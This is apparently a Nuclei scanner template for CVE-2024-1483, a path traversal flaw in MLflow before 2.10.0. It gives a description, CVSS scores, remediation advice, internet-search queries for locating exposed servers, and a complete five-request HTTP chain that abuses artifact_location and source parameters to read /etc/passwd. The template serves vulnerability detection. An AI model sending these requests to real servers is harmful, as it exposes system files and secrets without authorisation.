id: CVE-2024-1483 info: name: Mlflow < 2.9.2 - Path Traversal author: gy741 severity: high description: | A path traversal vulnerability exists in mlflow/mlflow version 2.9.2, allowing attackers to access arbitrary files on the server. By crafting a series of HTTP POST requests with specially crafted 'artifact_location' and 'source' parameters, using a local URI with '#' instead of '?', an attacker can traverse the server's directory structure. The issue occurs due to insufficient validation of user-supplied input in the server's handlers. impact: | Successful exploitation could be lead to disclose of sensitive information such as SSH Keys or Internal configurations. remediation: | To fix this vulnerability, it is important to update the mlflow package to the latest version 2.10.0. reference: - https://huntr.com/bounties/52a3855d-93ff-4460-ac24-9c7e4334198d - https://nvd.nist.gov/vuln/detail/CVE-2024-1483 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2024-1483 cwe-id: CWE-29 epss-score: 0.73937 epss-percentile: 0.98847 cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:* metadata: verified: true max-request: 5 vendor: lfprojects product: mlflow shodan-query: "http.title:\"mlflow\"" fofa-query: - title="mlflow" - app="mlflow" google-query: intitle:"mlflow" tags: cve,cve2024,mlflow,lfi,intrusive,lfprojects,vuln http: - raw: - | POST /ajax-api/2.0/mlflow/experiments/create HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"name": "{{randstr}}", "artifact_location": "http:///#/../../../../../../../../../../../../../../etc/"} - | POST /api/2.0/mlflow/runs/create HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"experiment_id": "{{EXPERIMENT_ID}}"} - | POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"name": "{{randstr}}"} - | POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"name": "{{randstr}}", "run_id": "{{RUN_ID}}", "source": "file:///etc/"} - | GET /model-versions/get-artifact?path=passwd&name={{randstr}}&version=1 HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: regex part: body_5 regex: - "root:.*:0:0:" - type: word part: header_5 words: - "filename=passwd" - "application/octet-stream" condition: and - type: status status: - 200 extractors: - type: json part: body_1 name: EXPERIMENT_ID group: 1 json: - '.experiment_id' internal: true - type: json part: body_2 name: RUN_ID group: 1 json: - '.run.info.run_id' internal: true # digest: 4b0a00483046022100eb3914189f5d2a2f5c53fec9c90fd5993a137c30e65bb8f7dd98f3a2fb92ba33022100dfc331921c67b89a6aa15f05f66e44b41d1a2ba11b952eda301bcadb36ef927c:922c64590222798bb761d5b6d8e72950